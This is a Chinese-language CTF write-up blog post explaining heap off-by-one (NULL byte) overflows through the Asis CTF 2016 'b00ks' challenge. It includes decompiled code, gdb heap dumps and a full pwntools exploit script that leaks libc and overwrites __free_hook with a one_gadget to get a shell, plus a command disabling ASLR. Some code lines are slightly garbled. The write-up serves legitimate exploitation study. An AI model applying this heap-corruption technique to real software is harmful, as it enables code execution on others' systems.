堆溢出-Off-By-One

Author Avatar
kabeor 1月 03, 2020

堆溢出-Off-By-One

原理

off-by-one 指程序向缓冲区中写入时,写入的字节数超过了这个缓冲区本身所申请的字节数并且只越界了一个字节。

类似如下代码

#include <stdio.h>
#include <malloc.h>

int main()
{
char str[5]={0};
str[5] = '\0';
return 0;
}

数组总长为5,数组下标从0开始,最大为4,而我们错误地使用了str[5],造成越界写了一个字节,这就是off-by-one

利用思路

  1. 溢出字节为可控制任意字节:通过修改大小造成块结构之间出现重叠,从而泄露其他块数据,或是覆盖其他块数据。也可使用 NULL 字节溢出的方法
  2. 溢出字节为 NULL 字节:在 size 为 0x100 的时候,溢出 NULL 字节可以使得 prev_in_use 位被清,这样前块会被认为是 free 块。(1) 这时可以选择使用 unlink 方法(见 unlink 部分)进行处理。(2) 另外,这时 prev_size 域就会启用,就可以伪造 prev_size ,从而造成块之间发生重叠。此方法的关键在于 unlink 的时候没有检查按照 prev_size 找到的块的后一块(理论上是当前正在 unlink 的块)与当前正在 unlink 的块大小是否相等。

NULL byte off-by-one

strlen 在计算字符串长度时是不把结束符 '\x00' 计算在内的,但是 strcpy 在复制字符串时会拷贝结束符 '\x00'

0x602010:   0x0000000000000000  0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000411 <=== next chunk

在我们输入’A’*24 后执行 strcpy

0x602000:   0x0000000000000000  0x0000000000000021
0x602010: 0x4141414141414141 0x4141414141414141
0x602020: 0x4141414141414141 0x0000000000000400

可以看到 next chunk 的 size 域低字节被结束符 '\x00' 覆盖。

为什么是低字节被覆盖呢:因为我们通常使用的 CPU 的字节序都是小端法的。

例 Asis CTF 2016 b00ks

漏洞分析

选单程序

puts("\n1. Create a book");
puts("2. Delete a book");
puts("3. Edit a book");
puts("4. Print book detail");
puts("5. Change current author name");
puts("6. Exit");
printf("> ");
__isoc99_scanf("%d", &v1);

创建book时,注意到

signed __int64 sub_B6D()
{
printf("Enter author name: ");
if ( !sub_9F5(off_202018, 32) )
return 0LL;
printf("fail to read author_name", 32LL);
return 1LL;
}

author_name最大输入为32字符

sub_9F5为读取函数

signed __int64 __fastcall sub_9F5(_BYTE *a1, int a2)
{
int i; // [rsp+14h] [rbp-Ch]
_BYTE *buf; // [rsp+18h] [rbp-8h]

if ( a2 <= 0 )
return 0LL;
buf = a1;
for ( i = 0; ; ++i )
{
if ( read(0, buf, 1uLL) != 1 )
return 1LL;
if ( *buf == 10 )
break;
++buf;
if ( i == a2 ) //////////////////// i循环次数==了输入的次数
break;
}
*buf = 0; //////////// 注意在循环完又加了一个0,长度加1,可能发生NULL byte off-by-one
return 0LL;
}

创建book时如下

v3 = malloc(32uLL);
if ( v3 )
{
*(v3 + 6) = v1; /////////// book name size
*(off_202010 + v2) = v3; ///// book name 固定为32
*(v3 + 2) = v5; /////////// book description
*(v3 + 1) = ptr; /////////// book_description_size
*v3 = ++unk_202024;
return 0LL;c
}

当输入的author_name长度为32时,会向book_name_ptr中越界写入一个字节\x00。之后,在创建book_struct时,会将其地址保存在global_book_struct_array中,覆盖之前的字符串截断符\x00。因此,通过打印book_name可以实现信息泄露。

^ .data:0000000000202010 off_202010      dq offset unk_202060    ; DATA XREF: sub_B24:loc_B38↑o  
| .data:0000000000202010 ;book name ptr ; sub_BBD:loc_C1B↑o ...
| .data:0000000000202018 off_202018 dq offset unk_202040 ; DATA XREF: sub_B6D+15↑o
| .data:0000000000202018 ;author_name ptr ; sub_D1F+CA↑o

临时禁用了系统的地址随机化功能:echo 0 > sudo tee /proc/sys/kernel/randomize_va_space

利用过程

	1. 填充满bookname
2. 创建堆块1,覆盖bookname结尾的\x00,这样我们输出的时候就可以泄露堆块1的地址
3. 创建堆块2,为后续做准备,堆块2要申请得比较大,因为mmap申请出来的堆块地址与libc有固定的偏移
4. 泄露堆块1地址,记为first_heap
5. 利用编辑author的时候多写了一个\x00字节,可以覆盖到堆块1的地址的最后一位,如果我们提前将堆块1的内容编辑好,按照上述的结构体布置好,name和description我们自己控制,伪造成一个书本的结构体,然后让覆盖过后的地址刚好是book1的description部分的话,我们相当于获得了一个任意地址读写的能力啊
6. 任意读取获得libc地址
7. 任意写将__free_hook函数的地址改写成one_gadget地址

tips:__free_hook若没有则不调用,若有将先于free函数调用

gdb调试,r运行起来,另起终端

ps -ef |grep b00ks 查看进程号为4056

cat /proc/进程号/maps查看程序加载基址为0x555555554000

之后设置断点时 基址+ida地址 = 实际运行的地址

发现下不去断点,内存无法访问,后来发现是下断点使用bp命令的原因,用break就好了

后来请教大师傅,得知gdb attch也可以

from pwn import *
context.log_level = 'DEBUG'
p=process('./b00ks')
p.recvuntil('Enter author name: ')
p.sendline('a'*32) ############ author name输入32位字符触发堆溢出
gdb.attach(p)
p.recvuntil('\n1. Create a book')
p.interactive()

成功断下后

x/10xg 0x555555554000+0x202040查看堆

pwndbg> x/10xg 0x555555554000+0x202040
0x555555756040: 0x6161616161616161 0x6161616161616161
0x555555756050: 0x6161616161616161 0x6161616161616161
0x555555756060: 0x0000000000000000 0x0000000000000000
0x555555756070: 0x0000000000000000 0x0000000000000000
0x555555756080: 0x0000000000000000 0x0000000000000000

溢出的一个字符是0,所以看的不清楚,如果输入的是’a’*33,就很明显

pwndbg> x/10xg 0x555555554000+0x202040
0x555555756040: 0x6161616161616161 0x6161616161616161
0x555555756050: 0x6161616161616161 0x6161616161616161
0x555555756060: 0x0000000000000061 0x0000000000000000 <---- 61代替了0位置
0x555555756070: 0x0000000000000000 0x0000000000000000
0x555555756080: 0x0000000000000000 0x0000000000000000

使用create功能创建一个book后堆内变为如下

pwndbg> x/10gx 0x555555554000+0x202040
0x555555756040: 0x6161616161616161 0x6161616161616161 author_name
0x555555756050: 0x6161616161616161 0x6161616161616161
0x555555756060: 0x00005555557576f0 0x0000000000000000 <------- book结构体地址管理数组
0x555555756070: 0x0000000000000000 0x0000000000000000 用于放置每个book结构体的地址指针
0x555555756080: 0x0000000000000000 0x0000000000000000

再修改author_name,0x00005555557576f0最后两位就会被0覆盖成为0x0000555555757600.

再来看创建一个book,结构体记录的结构如下

book name size
book name (大小等于book name size)
book description size
book description (大小等于book description size)

通过gdb调试发现

在堆中的指针指向如下

pwndbg> x/10gx 0x555555554000+0x202040                   
0x555555756040: 0x0000000000000061 0x0000000000000000
0x555555756050: 0x0000000000000000 0x0000000000000000
0x555555756060: 0x0000555555757750 0x0000000000000000 图书结构体管理,用于按顺序存放多个book结构体指针
0x555555756070: 0x0000000000000000 0x0000000000000000 第一个指针会被溢出覆盖
0x555555756080: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x555555757750 第一个book结构体内部结构
0x555555757750: 0x0000000000000001 0x00005555557576b0 book name size ? book name
0x555555757760: 0x00005555557576d0 0x0000000000000078 book description book description size
0x555555757770: 0x0000000000000000 0x00000000000207d1
0x555555757780: 0x0000000000000000 0x0000000000000000
0x555555757790: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x5555557576d0
0x5555557576d0: 0x6363636363636363 0x6363636363636363 book description起始位置
0x5555557576e0: 0x6363636363636363 0x6363636363636363
0x5555557576f0: 0x6363636363636363 0x6363636363636363
0x555555757700: 0x6363636363636363 0x6363636363636363 555555757750覆盖后两位变成7700指向这里
0x555555757710: 0x6363636363636363 0x6363636363636363

0x555555757700正好处于book description里,可以通过3. Edit a book 4. Print book detail 来进行写入和读取。

那么就可以通过book1来间接控制book2,原因是

book结构指针指向图如下
book ptr-|-> name ptr -|-> name str
|-> description ptr -|-> description str

book1原来为
book1 ptr-|-> name1 ptr -|-> name1 str
|-> description1 ptr -|-> description1 str

溢出后book1指向自己伪造的bookf,bookf我们构造为如下
bookf ptr-|-> name2 ptr -|-> name2 str
|-> description2 ptr -|-> description2 str

这样,通过读写book1就可以间接读写book2指针了
book1-book2

book1-| |-book2
|-bookf-|
可任意读写

因为开启了Full RELRO因此无法利用赋写GOT表来实现劫持程序流,因此我们set,使用一个很大的尺寸,使得堆以 mmap 模式进行拓展。我们知道堆有两种拓展方式一种是 brk 会直接拓展原来的堆,另一种是 mmap 会单独映射一块内存。

在这里我们申请一个超大的块,来使用 mmap 扩展内存。因为 mmap 分配的内存与 libc 之间存在固定的偏移因此可以推算出 libc 的基地址。

libcbase计算:
libcbase = book2_name_ptr - offset
offset = 0x00007ffff7da2010(book2_description_ptr) - 0x7ffff7de9000(libc基地址)
在heap下面权限为r-xp的start部分的地址就是libc基地址

fake book构造为

payload =p64(1) + p64(book1_addr + 0x38) * 2 + p64(0xffff)
偏移需要调试计算

这个题目特殊之处在于开启 PIE 并且没有泄漏 libc 基地址的方法,因此利用__free_hook写入one_gadget,调用free执行即可

malloc_hook = libc.symbols['__free_hook'] + libcbase
execve_addr = libcbase + one_gadget
payload = p64(free_hook)
edit(1,payload)
edit(2, p64(one_gadget))
remove(2)

exp(思路)

from pwn import *
#context.log_level="info"
context.log_level = 'DEBUG'
binary = ELF("b00ks")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.30.so")
io = process("./b00ks")


def createbook(name_size, name, des_size, des):
io.readuntil("> ")
io.sendline("1")
io.readuntil(": ")
io.sendline(str(name_size))
io.readuntil(": ")
io.sendline(name)
io.readuntil(": ")
io.sendline(str(des_size))
io.readuntil(": ")
io.sendline(des)

def printbook(id):
io.readuntil("> ")
io.sendline("4")
io.readuntil(": ")
for i in range(id):
book_id = int(io.readline()[:-1])
io.readuntil(": ")
book_name = io.readline()[:-1]
io.readuntil(": ")
book_des = io.readline()[:-1]
io.readuntil(": ")
book_author = io.readline()[:-1]
return book_id, book_name, book_des, book_author

def createname(name):
io.readuntil("name: ")
io.sendline(name)

def changename(name):
io.readuntil("> ")
io.sendline("5")
io.readuntil(": ")
io.sendline(name)

def editbook(book_id, new_des):
io.readuntil("> ")
io.sendline("3")
io.readuntil(": ")
io.writeline(str(book_id))
io.readuntil(": ")
io.sendline(new_des)

def deletebook(book_id):
io.readuntil("> ")
io.sendline("2")
io.readuntil(": ")
io.sendline(str(book_id))

createname("A" * 32)
createbook(128, "a", 32, "a")
createbook(0x21000, "a", 0x21000, "b")

book_id_1, book_name, book_des, book_author = printbook(1)


book1_addr = u64(book_author[32:32+6].ljust(8,'\x00'))
log.success("book1_address:" + hex(book1_addr))

payload =p64(1) + p64(book1_addr + 0x38) * 2 + p64(0xffff) # p64(1) + p64(book1_addr + 0x38) + p64(book1_addr + 0x40) + p64(0xffff)
editbook(book_id_1, payload)
changename("A" * 32)
gdb.attach(io)
pause()
io.interactive()


book_id_1, book_name, book_des, book_author = printbook(1)
book2_name_addr = u64(book_name.ljust(8,"\x00"))
book2_des_addr = u64(book_des.ljust(8,"\x00"))
log.success("book2 name addr:" + hex(book2_name_addr))
log.success("book2 des addr:" + hex(book2_des_addr))
libc_base = book2_des_addr + 0x46ff0# 0x68ff0
log.success("libc base:" + hex(libc_base))



free_hook = libc_base + libc.symbols["__free_hook"]
one_gadget = libc_base +0xe6b93 # 0xe6b96 0xe6b99 0x10afa9
log.success("free_hook:" + hex(free_hook))
log.success("one_gadget:" + hex(one_gadget))
editbook(1, p64(free_hook) * 2)
editbook(2, p64(one_gadget))

deletebook(2)

io.interactive()

From https://kabeor.github.io/堆溢出-Off-By-One/ bye

This blog is under a CC BY-NC-SA 4.0 Unported License
本文链接:https://kabeor.github.io/堆溢出-Off-By-One/